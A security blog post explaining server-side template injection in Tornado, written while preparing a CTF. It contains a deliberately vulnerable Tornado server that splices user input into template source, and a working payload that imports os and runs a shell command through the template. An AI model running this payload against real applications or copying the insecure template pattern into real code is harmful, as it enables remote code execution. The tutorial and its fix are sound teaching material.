Server Side Template Injection in Tornado
Tornado is a great and easy to use Python web framework for developing dynamic web applications with ease. When it comes to PoC or CTF Challenge creation, tornado is my default choice. Today we will see how Server Side Template Injection (SSTI) can be achieved in Tornado using the default template engine provided with it. Server Side template injections are not a vulnerability in Frameworks. They appear due to insecure code. SSTI can cause the similar impact of a Remote Code Injection attack and results in code execution depending on the templating engine.
Modern web applications support templating, a technique that allows to load a file dynamically and render some data or evaluate expressions into certain points in the file and provide it back to the client.
A pseudo code example will be something like
Template: abc.html
<html> <head><title>Hello {{ name }}</title></head> <body> Hello FOO </body> </html>
Application Code: server.py
name = request.GET['name'] template_data = open("abc.html").read() template = Template.load(template_data) response.write(template, name='World')
The response generated will be
<html> <head><title>Hello World</title></head> <body> Hello FOO </body> </html>
Server Side Template Injection (SSTI) happens when untrusted user input is passed into template data before rendering is done.
For example the vulnerable application code will look like this
name = request.GET['name']
template_data = open("abc.html").read()
template_data = template_data.replace("FOO",name)
template = Template.load(template_data)
response.write(template, name='world')
This will result in arbitrary code execution and can end up in remote code execution depending on the templating engine. PortSwigger has put up a blog covering exploit/detection payloads for most of the templating engines like
- Mako
- Twig
- Jade
- Smarty
- Jinja2
- Freemaker
- Velocity
You can read the blog post here : Server Side Template Injection
So I was trying to create a CTF related to SSTI for my Live training of WebSecNinja: Lesser known Web Attacks at Hack In Paris. Since the above mentioned template engines and the exploit payloads are well mentioned and easily available in the internet, I wanted to try something different for the CTF. So I looked into various other templating engines like Django’s templating engine, Cheetah, Tornado’s template engine etc.
It turned out that tornado was a perfect candidate. I couldn’t find out a blog post or whitepaper explaining Server Side Template Injection in Tornado. After playing with tornado’s template engine, I found that arbitrary code injection via SSTI is possible due to insecure code. This documentation on tornado templating helps a lot in creating an exploit payload.
These are the useful bit from the documentation to create a SSTI exploit for tornado.
{{ }}
– Anything coming between {{ and }} are evaluated and send back to the output.
Example:
{{ "ajin" }}
-> ajin
{{ 2*2 }}
-> 4
{% import *module* %}
– Allows you to import python modules.
Example:
{% import subprocess %}
That’s all we need to craft an exploit code.
{% import os %}{{ os.popen("whoami").read() }}
For the completeness of the post, let’s write a tornado application vulnerable to SSTI.
server.py
import tornado.template import tornado.ioloop import tornado.web TEMPLATE = ''' <html> <head><title> Hello {{ name }} </title></head> <body> Hello FOO </body> </html> ''' class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument('name', '') template_data = TEMPLATE.replace("FOO",name) t = tornado.template.Template(template_data) self.write(t.generate(name=name)) application = tornado.web.Application([ (r"/", MainHandler), ], debug=True, static_path=None, template_path=None) if __name__ == '__main__': application.listen(8000) tornado.ioloop.IOLoop.instance().start()
Now run the server,
python server.py
and navigate to
http://localhost:8000/?name=ajin
You can see that data is getting dynamically substituted and coming back in the response.
Let’s try the basic test payload for SSTI. (Varies from templating framework)
http://localhost:8000/?name={{2*2}}
And finally the exploit payload
http://localhost:8000/?name={%import%20os%}{{os.popen(%22whoami%22).read()}}
And that’s all folks!
Wow, this is interesting, nice job. Its an eye opener!!!
So how would you fix this SSTI vulnerability in tornado?
Make sure you do not construct template html with user input. If you need dynamic HTML use the template rendering function instead.